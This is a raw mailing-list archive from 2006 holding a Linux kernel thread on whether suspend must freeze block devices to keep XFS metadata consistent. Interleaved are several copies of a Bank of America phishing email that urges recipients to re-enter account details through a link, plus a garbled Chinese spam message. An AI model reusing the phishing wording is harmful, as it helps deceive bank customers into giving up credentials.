one tries to access the field (test it), it should be like LOCK IP modify ... UNLOCK IP -----| | ---> This pair should act as a full barrier. LOCK IP -----| read ... UNLOCK IP -shailendra From owner-xfs@oss.sgi.com Tue Oct 24 15:36:11 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 15:36:19 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OMaAaG016234 for ; Tue, 24 Oct 2006 15:36:11 -0700 X-ASG-Debug-ID: 1161726242-6215-351-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from amd.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id 9D5804D078A for ; Tue, 24 Oct 2006 14:44:06 -0700 (PDT) Received: by amd.ucw.cz (Postfix, from userid 8) id 161592BE3B; Tue, 24 Oct 2006 23:43:22 +0200 (CEST) Date: Tue, 24 Oct 2006 23:43:22 +0200 From: Pavel Machek To: Christoph Hellwig , "Rafael J. Wysocki" , David Chinner , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061024214322.GA5652@elf.ucw.cz> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024170633.GA17956@infradead.org> <20061024212648.GB5662@elf.ucw.cz> <20061024213342.GA22552@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061024213342.GA22552@infradead.org> X-Warning: Reading this can be dangerous to your mental health. User-Agent: Mutt/1.5.11+cvs20060126 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9424 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pavel@ucw.cz Precedence: bulk X-list: xfs Status: O Hi! On Tue 2006-10-24 22:33:42, Christoph Hellwig wrote: > On Tue, Oct 24, 2006 at 11:26:48PM +0200, Pavel Machek wrote: > > > No, that's definitly not enough. You need to freeze_bdev to make sure > > > data is on disk in the place it's expected by the filesystem without > > > starting a log recovery. > > > > I believe log recovery is okay in this case. > > > > It can only happen when kernel dies during suspend or during > > resume... And log recovery seems okay in that case. We even guarantee > > that user did not loose any data -- by using sys_sync() after userland > > is stopped -- but let's not overdo over protections. > > You're still entirely missing the problem. > > Take a look at http://www.opengroup.org/onlinepubs/007908799/xsh/sync.html > and the linux sync(2) manpage. The only thing sync guarantees is writing > out all in-memory data to disk. It doesn't even gurantee completion, > although we've been synchronous in Linux for a while. Ok, I assume sys_sync is synchronous, but that's okay. > What it does not gurantee is where on disk the data is located. Now for > a journaling filesystem pushing everything to the log is the easiest way > to complete sync, and it's perfectly valid - if the system crashes after > the sync and before data is written back to it's normal place on disk > the system notices it's not been unmounted cleanly and will do a log > recovery. In the suspend case however the system neither crashes nor > is unmounted - thus the filesystem doesn't know it has to recover the > log. We have to choices to fix this: > > (1) force a log recovery of an already mounted and in use filesystem > (2) make sure data is in the right place before suspending > > (1) is pretty nasty, and hard to do across filesystems. (2) is already > implemented and easily useable by the suspend code. No, there's no need to do either (1) or (2) in "machine suspended and resumed successfully". In that case, machine just continues as if no suspend has happened. In fact I could remove sys_sync() from freezer. suspend code would still be correct. That sys_sync() only matters in case of suspend but machine died during resume... and in that case we know we crashed, and journal recovery is okay. I do know how journaling works (from 10000feet, anyway), and it is okay in this case. Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html From owner-xfs@oss.sgi.com Tue Oct 24 15:41:05 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 15:41:16 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OMf3aG017622 for ; Tue, 24 Oct 2006 15:41:04 -0700 X-ASG-Debug-ID: 1161725904-20823-966-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from amd.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id 4D94AD1AA4E4 for ; Tue, 24 Oct 2006 14:38:29 -0700 (PDT) Received: by amd.ucw.cz (Postfix, from userid 8) id EB5592BE3B; Tue, 24 Oct 2006 23:37:37 +0200 (CEST) Date: Tue, 24 Oct 2006 23:37:37 +0200 From: Pavel Machek To: David Chinner Cc: "Rafael J. Wysocki" , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061024213737.GD5662@elf.ucw.cz> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024163345.GG11034@melbourne.sgi.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061024163345.GG11034@melbourne.sgi.com> X-Warning: Reading this can be dangerous to your mental health. User-Agent: Mutt/1.5.11+cvs20060126 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9426 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pavel@ucw.cz Precedence: bulk X-list: xfs Status: O Hi! > > Do you mean calling sys_sync() after the userspace has been frozen > > may not be sufficient? > > In most cases it probably is, but sys_sync() doesn't provide any > guarantees that the filesystem is not being used or written to after > it completes. Given that every so often I hear about an XFS filesystem > that was corrupted by suspend, I don't think this is sufficient... Userspace is frozen. There's noone that can write to the XFS filesystem. Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html From owner-xfs@oss.sgi.com Tue Oct 24 15:41:03 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 15:41:10 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9OMf2aG017600 for ; Tue, 24 Oct 2006 15:41:03 -0700 X-ASG-Debug-ID: 1161725234-21139-728-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from amd.ucw.cz (gprs189-60.eurotel.cz [160.218.189.60]) by cuda.sgi.com (Spam Firewall) with ESMTP id 58131D1AA4ED for ; Tue, 24 Oct 2006 14:27:17 -0700 (PDT) Received: by amd.ucw.cz (Postfix, from userid 8) id 713D92BE3B; Tue, 24 Oct 2006 23:26:48 +0200 (CEST) Date: Tue, 24 Oct 2006 23:26:48 +0200 From: Pavel Machek To: Christoph Hellwig , "Rafael J. Wysocki" , David Chinner , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061024212648.GB5662@elf.ucw.cz> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024170633.GA17956@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061024170633.GA17956@infradead.org> X-Warning: Reading this can be dangerous to your mental health. User-Agent: Mutt/1.5.11+cvs20060126 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24011 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9425 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: pavel@ucw.cz Precedence: bulk X-list: xfs Status: O Hi! On Tue 2006-10-24 18:06:33, Christoph Hellwig wrote: > On Tue, Oct 24, 2006 at 05:29:59PM +0200, Rafael J. Wysocki wrote: > > Do you mean calling sys_sync() after the userspace has been frozen > > may not be sufficient? > > No, that's definitly not enough. You need to freeze_bdev to make sure > data is on disk in the place it's expected by the filesystem without > starting a log recovery. I believe log recovery is okay in this case. It can only happen when kernel dies during suspend or during resume... And log recovery seems okay in that case. We even guarantee that user did not loose any data -- by using sys_sync() after userland is stopped -- but let's not overdo over protections. Pavel -- (english) http://www.livejournal.com/~pavelmachek (cesky, pictures) http://atrey.karlin.mff.cuni.cz/~pavel/picture/horses/blog.html From owner-xfs@oss.sgi.com Tue Oct 24 16:09:19 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 16:09:27 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9ON9IaG024582 for ; Tue, 24 Oct 2006 16:09:18 -0700 X-ASG-Debug-ID: 1161726641-8250-377-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from h3610.serverkompetenz.net (h3610.serverkompetenz.net [81.169.159.123]) by cuda.sgi.com (Spam Firewall) with ESMTP id 8CA504D2B61 for ; Tue, 24 Oct 2006 14:50:41 -0700 (PDT) Received: (qmail 21403 invoked by uid 507); 24 Oct 2006 20:44:01 -0000 Date: 24 Oct 2006 20:44:01 -0000 Message-ID: <20061024204401.21402.qmail@h3610.serverkompetenz.net> To: xfs@oss.sgi.com X-ASG-Orig-Subj: Bank of America : Re-Enter Your Details For Confirmation Subject: Bank of America : Re-Enter Your Details For Confirmation From: Bank Of America Reply-To: MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.77 X-Barracuda-Spam-Status: No, SCORE=0.77 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_EXIST_TBODY, MIME_HTML_ONLY, REPLY_TO_EMPTY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.64 REPLY_TO_EMPTY Reply-To: is empty 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9427 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Account.Servive@bankofamerica.com Precedence: bulk X-list: xfs Status: O Bank of America | Important Message
      Bank of America



      Dear Customer,

      Re-confirm your information online to enable us validate your information on our database. To allow this validation effective, you are requested to go through the online validation form below.

      http://www.bankofamerica.com/index.cfm?/validation.form


      We are committed to improving our Online service.

      Bank Of America
      Accounting Department,
      Bank of America and its Affiliates.


      Please do not reply to this e-mail. Mail sent to this address cannot be answered.
      For assistance, log in to your Bank Of America Online account and choose the "Help" link on any page.

      Bank Of America ID # 16000252947

      From owner-xfs@oss.sgi.com Tue Oct 24 16:09:18 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 16:09:29 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9ON9GaG024560 for ; Tue, 24 Oct 2006 16:09:18 -0700 X-ASG-Debug-ID: 1161727391-6175-522-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from h3610.serverkompetenz.net (h3610.serverkompetenz.net [81.169.159.123]) by cuda.sgi.com (Spam Firewall) with ESMTP id 57CE44D4DA4 for ; Tue, 24 Oct 2006 15:03:11 -0700 (PDT) Received: (qmail 22174 invoked by uid 507); 24 Oct 2006 20:44:27 -0000 Date: 24 Oct 2006 20:44:27 -0000 Message-ID: <20061024204427.22172.qmail@h3610.serverkompetenz.net> To: xfs@oss.sgi.com X-ASG-Orig-Subj: Bank of America : Re-Enter Your Details For Confirmation Subject: Bank of America : Re-Enter Your Details For Confirmation From: Bank Of America Reply-To: MIME-Version: 1.0 Content-Type: text/html Content-Transfer-Encoding: 8bit X-Barracuda-Spam-Score: 0.77 X-Barracuda-Spam-Status: No, SCORE=0.77 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_EXIST_TBODY, MIME_HTML_ONLY, REPLY_TO_EMPTY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24013 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.64 REPLY_TO_EMPTY Reply-To: is empty 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9428 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Account.Servive@bankofamerica.com Precedence: bulk X-list: xfs Status: O Bank of America | Important Message
      Bank of America



      Dear Customer,

      Re-confirm your information online to enable us validate your information on our database. To allow this validation effective, you are requested to go through the online validation form below.

      http://www.bankofamerica.com/index.cfm?/validation.form


      We are committed to improving our Online service.

      Bank Of America
      Accounting Department,
      Bank of America and its Affiliates.


      Please do not reply to this e-mail. Mail sent to this address cannot be answered.
      For assistance, log in to your Bank Of America Online account and choose the "Help" link on any page.

      Bank Of America ID # 16000252947

      From owner-xfs@oss.sgi.com Tue Oct 24 16:24:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 16:24:59 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9ONOnaG032705 for ; Tue, 24 Oct 2006 16:24:50 -0700 X-ASG-Debug-ID: 1161727906-12550-448-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from antispam03.world4you.com (antispam03.world4you.com [80.243.163.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id C1B22D1ABF53 for ; Tue, 24 Oct 2006 15:11:46 -0700 (PDT) Received: from [80.243.163.46] (helo=www26.world4you.com) by antispam03.world4you.com with esmtp (Exim 4.43) id 1GcUUq-0004XV-Jr for xfs@oss.sgi.com; Wed, 25 Oct 2006 00:11:44 +0200 Received: (from httpd@localhost) by www26.world4you.com (8.11.6/8.11.6) id k9OMBil31416; Wed, 25 Oct 2006 00:11:44 +0200 Date: Wed, 25 Oct 2006 00:11:44 +0200 Message-Id: <200610242211.k9OMBil31416@www26.world4you.com> To: xfs@oss.sgi.com From: Bank Of America Reply-To: MIME-Version: 1.0 X-SA-Exim-Connect-IP: 80.243.163.46 X-SA-Exim-Mail-From: httpd@www26.world4you.com X-ASG-Orig-Subj: Bank of America : Re-Enter Your Details For Confirmation Subject: Bank of America : Re-Enter Your Details For Confirmation Content-Type: text/html Content-Transfer-Encoding: 8bit X-SA-Exim-Version: 4.1 (built Wed, 05 Jan 2005 10:54:05 -0500) X-SA-Exim-Scanned: Yes (on antispam03.world4you.com) X-Barracuda-Spam-Score: 0.77 X-Barracuda-Spam-Status: No, SCORE=0.77 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_EXIST_TBODY, MIME_HTML_ONLY, REPLY_TO_EMPTY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.64 REPLY_TO_EMPTY Reply-To: is empty 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9429 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Account.Servive@bankofamerica.com Precedence: bulk X-list: xfs Status: O Bank of America | Important Message
      Bank of America



      Dear Customer,

      Re-confirm your information online to enable us validate your information on our database. To allow this validation effective, you are requested to go through the online validation form below.

      http://www.bankofamerica.com/index.cfm?/validation.form


      We are committed to improving our Online service.

      Bank Of America
      Accounting Department,
      Bank of America and its Affiliates.


      Please do not reply to this e-mail. Mail sent to this address cannot be answered.
      For assistance, log in to your Bank Of America Online account and choose the "Help" link on any page.

      Bank Of America ID # 16000252947

      From owner-xfs@oss.sgi.com Tue Oct 24 16:24:50 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 16:25:00 -0700 (PDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.168.29]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9ONOnaG032703 for ; Tue, 24 Oct 2006 16:24:50 -0700 X-ASG-Debug-ID: 1161728368-7146-813-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from pop5-1.us4.outblaze.com (pop5-1.us4.outblaze.com [205.158.62.125]) by cuda.sgi.com (Spam Firewall) with SMTP id 9F366D1A46EE for ; Tue, 24 Oct 2006 15:19:28 -0700 (PDT) Received: (qmail 16210 invoked from network); 24 Oct 2006 22:21:22 -0000 Received: from unknown (HELO ?10.1.1.3?) (ncunningham@linuxmail.org@203.171.70.205) by pop5-1.us4.outblaze.com with SMTP; 24 Oct 2006 22:21:22 -0000 X-ASG-Orig-Subj: Re: [PATCH] Freeze bdevs when freezing processes. Subject: Re: [PATCH] Freeze bdevs when freezing processes. From: Nigel Cunningham To: David Chinner Cc: "Rafael J. Wysocki" , Andrew Morton , LKML , Pavel Machek , xfs@oss.sgi.com In-Reply-To: <20061024144446.GD11034@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> Content-Type: text/plain Date: Wed, 25 Oct 2006 08:19:26 +1000 Message-Id: <1161728366.22729.28.camel@nigel.suspend2.net> Mime-Version: 1.0 X-Mailer: Evolution 2.8.1 Content-Transfer-Encoding: 7bit X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests= X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24015 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- X-archive-position: 9430 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: ncunningham@linuxmail.org Precedence: bulk X-list: xfs Status: O Hi David. On Wed, 2006-10-25 at 00:44 +1000, David Chinner wrote: > On Mon, Oct 23, 2006 at 12:36:53PM +0200, Rafael J. Wysocki wrote: > > On Monday, 23 October 2006 06:12, Nigel Cunningham wrote: > > > XFS can continue to submit I/O from a timer routine, even after > > > freezeable kernel and userspace threads are frozen. This doesn't seem to > > > be an issue for current swsusp code, > > > > So it doesn't look like we need the patch _now_. > > > > > but is definitely an issue for Suspend2, where the pages being written could > > > be overwritten by Suspend2's atomic copy. > > > > And IMO that's a good reason why we shouldn't use RCU pages for storing the > > image. XFS is one known example that breaks things if we do so and > > there may be more such things that we don't know of. The fact that they > > haven't appeared in testing so far doesn't mean they don't exist and > > moreover some things like that may appear in the future. > > Could you please tell us which XFS bits are broken so we can get > them fixed? The XFS daemons should all be checking if they are > supposed to freeze (i.e. they call try_to_freeze() after they wake > up due to timer expiry) so I thought they were doing the right > thing. The problem (in my experience) isn't the threads but a timer that submits I/O even when the threads are frozen. It stops when the bdev is frozen. The last report I've seen was before I added bdev freezing to suspend2, which was 2.6.14, so you guys may have fixed it since then. I can seek to get a trace if you like. Regards, Nigel From owner-xfs@oss.sgi.com Tue Oct 24 16:35:55 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 16:36:02 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9ONZsaG003182 for ; Tue, 24 Oct 2006 16:35:55 -0700 X-ASG-Debug-ID: 1161727785-5935-617-0 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from antispam03.world4you.com (antispam03.world4you.com [80.243.163.18]) by cuda.sgi.com (Spam Firewall) with ESMTP id D891F4D2E8D for ; Tue, 24 Oct 2006 15:09:45 -0700 (PDT) Received: from [80.243.163.46] (helo=www26.world4you.com) by antispam03.world4you.com with esmtp (Exim 4.43) id 1GcUSt-00043d-Rr for xfs@oss.sgi.com; Wed, 25 Oct 2006 00:09:44 +0200 Received: (from httpd@localhost) by www26.world4you.com (8.11.6/8.11.6) id k9OM9hi30471; Wed, 25 Oct 2006 00:09:43 +0200 Date: Wed, 25 Oct 2006 00:09:43 +0200 Message-Id: <200610242209.k9OM9hi30471@www26.world4you.com> To: xfs@oss.sgi.com From: Bank Of America Reply-To: MIME-Version: 1.0 X-SA-Exim-Connect-IP: 80.243.163.46 X-SA-Exim-Mail-From: httpd@www26.world4you.com X-ASG-Orig-Subj: Bank of America : Re-Enter Your Details For Confirmation Subject: Bank of America : Re-Enter Your Details For Confirmation Content-Type: text/html Content-Transfer-Encoding: 8bit X-SA-Exim-Version: 4.1 (built Wed, 05 Jan 2005 10:54:05 -0500) X-SA-Exim-Scanned: Yes (on antispam03.world4you.com) X-Barracuda-Spam-Score: 0.77 X-Barracuda-Spam-Status: No, SCORE=0.77 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=HTML_TAG_EXIST_TBODY, MIME_HTML_ONLY, REPLY_TO_EMPTY X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24017 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.64 REPLY_TO_EMPTY Reply-To: is empty 0.13 HTML_TAG_EXIST_TBODY BODY: HTML has "tbody" tag 0.00 MIME_HTML_ONLY BODY: Message only has text/html MIME parts X-archive-position: 9431 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: Account.Servive@bankofamerica.com Precedence: bulk X-list: xfs Status: O Bank of America | Important Message
      Bank of America



      Dear Customer,

      Re-confirm your information online to enable us validate your information on our database. To allow this validation effective, you are requested to go through the online validation form below.

      http://www.bankofamerica.com/index.cfm?/validation.form


      We are committed to improving our Online service.

      Bank Of America
      Accounting Department,
      Bank of America and its Affiliates.


      Please do not reply to this e-mail. Mail sent to this address cannot be answered.
      For assistance, log in to your Bank Of America Online account and choose the "Help" link on any page.

      Bank Of America ID # 16000252947

      From owner-xfs@oss.sgi.com Tue Oct 24 17:14:33 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 17:14:44 -0700 (PDT) Received: from larry.melbourne.sgi.com (larry.melbourne.sgi.com [134.14.52.130]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with SMTP id k9P0EUaG015019 for ; Tue, 24 Oct 2006 17:14:32 -0700 Received: from snort.melbourne.sgi.com (snort.melbourne.sgi.com [134.14.54.149]) by larry.melbourne.sgi.com (950413.SGI.8.6.12/950213.SGI.AUTOCF) via ESMTP id KAA20066; Wed, 25 Oct 2006 10:13:41 +1000 Received: from snort.melbourne.sgi.com (localhost [127.0.0.1]) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5) with ESMTP id k9P0Db7Y15887551; Wed, 25 Oct 2006 10:13:37 +1000 (AEST) Received: (from dgc@localhost) by snort.melbourne.sgi.com (SGI-8.12.5/8.12.5/Submit) id k9P0DVBQ15891126; Wed, 25 Oct 2006 10:13:31 +1000 (AEST) Date: Wed, 25 Oct 2006 10:13:31 +1000 From: David Chinner To: Pavel Machek Cc: David Chinner , "Rafael J. Wysocki" , Nigel Cunningham , Andrew Morton , LKML , xfs@oss.sgi.com Subject: Re: [PATCH] Freeze bdevs when freezing processes. Message-ID: <20061025001331.GP8394166@melbourne.sgi.com> References: <1161576735.3466.7.camel@nigel.suspend2.net> <200610231236.54317.rjw@sisk.pl> <20061024144446.GD11034@melbourne.sgi.com> <200610241730.00488.rjw@sisk.pl> <20061024163345.GG11034@melbourne.sgi.com> <20061024213737.GD5662@elf.ucw.cz> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20061024213737.GD5662@elf.ucw.cz> User-Agent: Mutt/1.4.2.1i X-archive-position: 9432 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: dgc@sgi.com Precedence: bulk X-list: xfs Status: O On Tue, Oct 24, 2006 at 11:37:37PM +0200, Pavel Machek wrote: > Hi! > > > > Do you mean calling sys_sync() after the userspace has been frozen > > > may not be sufficient? > > > > In most cases it probably is, but sys_sync() doesn't provide any > > guarantees that the filesystem is not being used or written to after > > it completes. Given that every so often I hear about an XFS filesystem > > that was corrupted by suspend, I don't think this is sufficient... > > Userspace is frozen. There's noone that can write to the XFS > filesystem. Sure, no new userspace processes can write data, but what about the internal state of the filesystem? All a sync guarantees is that the filesystem is consistent when the sync returns and XFS provides this guarantee by writing all data and ensuring all metadata changes are logged so if a crash occurs it can be recovered (which provides the sync guarantee). hence after a sys_sync(), XFS will still have lots of dirty metadata that needs to be written to disk at some time in the future so the transactions can be removed from the log. This dirty metadata can be flushed at any time, and the dirty state is kept in XFS structures and not always in page structures (think multipage metadata buffers). Hence I cannot see how suspend can guarantee that it has saved all the dirty data in XFS, nor restore it correctly on resume. Once you toss dirty metadata that is currently in the log, further operations will result in that log transaction being overwritten without it ever being written to disk. That then means any subsequent operations after resume will corrupt the filesystem.... Hence the only way to correctly rebuild the XFS state on resume is to quiesce the filesystem on suspend and thaw it on resume so as to trigger log recovery. Cheers, Dave. -- Dave Chinner Principal Engineer SGI Australian Software Group From owner-xfs@oss.sgi.com Tue Oct 24 20:40:22 2006 Received: with ECARTIS (v1.0.0; list xfs); Tue, 24 Oct 2006 20:40:28 -0700 (PDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.168.28]) by oss.sgi.com (8.12.10/8.12.10/SuSE Linux 0.7) with ESMTP id k9P3eJaG023409 for ; Tue, 24 Oct 2006 20:40:22 -0700 X-ASG-Debug-ID: 1161747558-23202-643-1 X-Barracuda-URL: http://cuda.sgi.com:80/cgi-bin/mark.cgi Received: from 126.com (unknown [121.35.72.95]) by cuda.sgi.com (Spam Firewall) with ESMTP id 6AB004D22CD for ; Tue, 24 Oct 2006 20:39:22 -0700 (PDT) From: =?GB2312?B?uN/J+g==?= X-ASG-Orig-Subj: =?GB2312?B?y9m72NL0?= Subject: =?GB2312?B?y9m72NL0?= To: "linux-xfs" Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: 8bit Reply-To: gaodongjun99256@126.com Date: Wed, 25 Oct 2006 11:39:30 +0800 X-Mailer: Foxmail 4.2 [cn] Message-Id: <20061025033922.6AB004D22CD@cuda.sgi.com> X-Barracuda-Spam-Score: 0.98 X-Barracuda-Spam-Status: No, SCORE=0.98 using per-user scores of TAG_LEVEL=3.5 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=9.0 tests=MAILTO_TO_SPAM_ADDR, MSGID_FROM_MTA_ID X-Barracuda-Spam-Report: Code version 3.02, rules version 3.0.24026 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.70 MSGID_FROM_MTA_ID Message-Id for external message added locally 0.28 MAILTO_TO_SPAM_ADDR URI: Includes a link to a likely spammer email X-archive-position: 9433 X-ecartis-version: Ecartis v1.0.0 Sender: xfs-bounce@oss.sgi.com Errors-to: xfs-bounce@oss.sgi.com X-original-sender: gaodongjun99256@126.com Precedence: bulk X-list: xfs Status: O ²ÆÎñ¾­Àí~ÄúºÃ£¡ ÎÒ¹«Ë¾ÊÇÒ»°ãÄÉ˰ÈËÆóÒµ£¬ÏÖÒò½øÏî¶à³öÏîÉÙ½øÐÐÁ˶ÔÍâÓŻݴú¿ªË°Æ±:¶¼ÒÔ¸÷µØÊ¡£ÜÊжà¼Ò¹«Ë¾ÓëÉú²ú³§ 